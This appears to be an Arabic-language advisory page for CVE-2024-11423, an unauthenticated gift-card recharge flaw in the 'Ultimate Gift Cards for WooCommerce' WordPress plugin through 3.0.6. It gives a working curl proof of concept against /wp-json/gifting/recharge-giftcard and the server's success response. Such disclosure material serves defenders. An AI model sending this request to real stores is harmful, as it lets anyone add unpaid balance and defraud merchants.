CVE-2024-11423

Ultimate Gift Cards for WooCommerce <= 3.0.6 - ثغرة صلاحيات مفقودة تؤدي إلى خلل الأموال غير المحدودة (Infinite Money Glitch)

الوصف

إضافة Ultimate Gift Cards for WooCommerce – إنشاء بطاقات هدايا WooCommerce، وقسائم الهدايا، واسترداد وإدارة قسائم الهدايا الرقمية. تقديم شهادات الهدايا، وجدولة بطاقات الهدايا، واستخدام القسائم المتقدمة مع قوالب مخصصة للإضافة في ووردبريس، وهي عرضة لتعديل غير مصرح به للبيانات بسبب عدم وجود فحص قدرة على عدة نقاط نهاية REST API مثل /wp-json/gifting/recharge-giftcard في جميع الإصدارات حتى 3.0.6 وما يشملها. هذا يتيح للمهاجمين غير المصادق عليهم إعادة شحن رصيد بطاقة الهدايا دون إجراء أي دفعة، وكذلك خفض أرصدة بطاقات الهدايا دون شراء أي شيء.

التفاصيل

النوع: إضافة
Slug: woo-gift-cards-lite
الإصدار المتأثر: 3.0.6
درجة CVSS: 7.5
تصنيف CVSS: عالية
متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
CVE: CVE-2024-11423
الحالة: نشط

POC

curl -X POST \
  https://wp-dev.ddev.site/wp-json/gifting/recharge-giftcard \
  -H 'Content-Type: application/json' \
  -d '{"coupon_code": "CUQP4C9M", "recharge_amount": "100.00", "coupon_expiry": "2027-12-31", "usage_limit": "511"}'


{"code":"success","message":"Coupon is successfully Recharged","data":{"status":200,"remaining_amount":120,"discount_type":"fixed_cart","usage_count":0,"usage_limit":"511","description":"","coupon_expiry":"2027-12-31"}}

CVE-2024-11423

الأكثر شعبية

CVE-2024-11423

الوصف

التفاصيل

POC